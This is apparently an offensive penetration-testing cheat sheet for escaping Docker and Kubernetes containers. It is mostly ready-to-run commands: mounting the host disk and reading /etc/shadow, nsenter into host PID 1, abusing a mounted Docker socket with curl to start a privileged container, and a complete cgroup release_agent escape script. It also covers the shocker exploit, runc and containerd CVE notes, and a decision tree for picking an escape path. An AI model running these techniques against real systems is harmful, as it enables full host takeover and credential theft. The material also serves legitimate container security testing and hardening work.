container-escape-techniques

# amicontained: shows container runtime, capabilities, seccomp
./amicontained
 
# deepce: Docker enumeration and exploit suggester
./deepce.sh
 
# CDK: all-in-one container pentesting toolkit
./cdk evaluate

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
 
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
 
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
 
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash

# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
 
# This gives a shell in the host's namespace context
# Effectively a full host shell

# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/     # Host root filesystem
cat /proc/1/root/etc/shadow
 
# Inject into host process
nsenter --target 1 --mount -- bash

# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status
 
# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null

# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root
 
# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util
 
libc = ctypes.CDLL(ctypes.util.find_library("c"))
 
# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF

# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L            # Can see/modify host firewall rules?
ip route               # Can modify routing?

# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow   # Read host file

ls -la /var/run/docker.sock   # Check if mounted
 
# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
 
# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
 
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1       # Or: reverse shell
EOF
chmod +x /cmd
 
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output

# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2
 
# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users

# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem

# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/          # Host's root filesystem
cat /proc/1/root/etc/shadow
 
# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash

# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host
 
# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently

# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock

# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container

Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│   └── Partial capabilities? Check each:
│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│   └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│   └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│   ├── Service account with elevated RBAC? → create escape pod (§9)
│   └── hostPath volume? → access host filesystem
│
└── None of the above?
    ├── Run deepce/CDK for automated detection
    ├── Check for writable host mount points
    ├── Enumerate network for other containers/services
    └── Check /proc/self/mountinfo for interesting mounts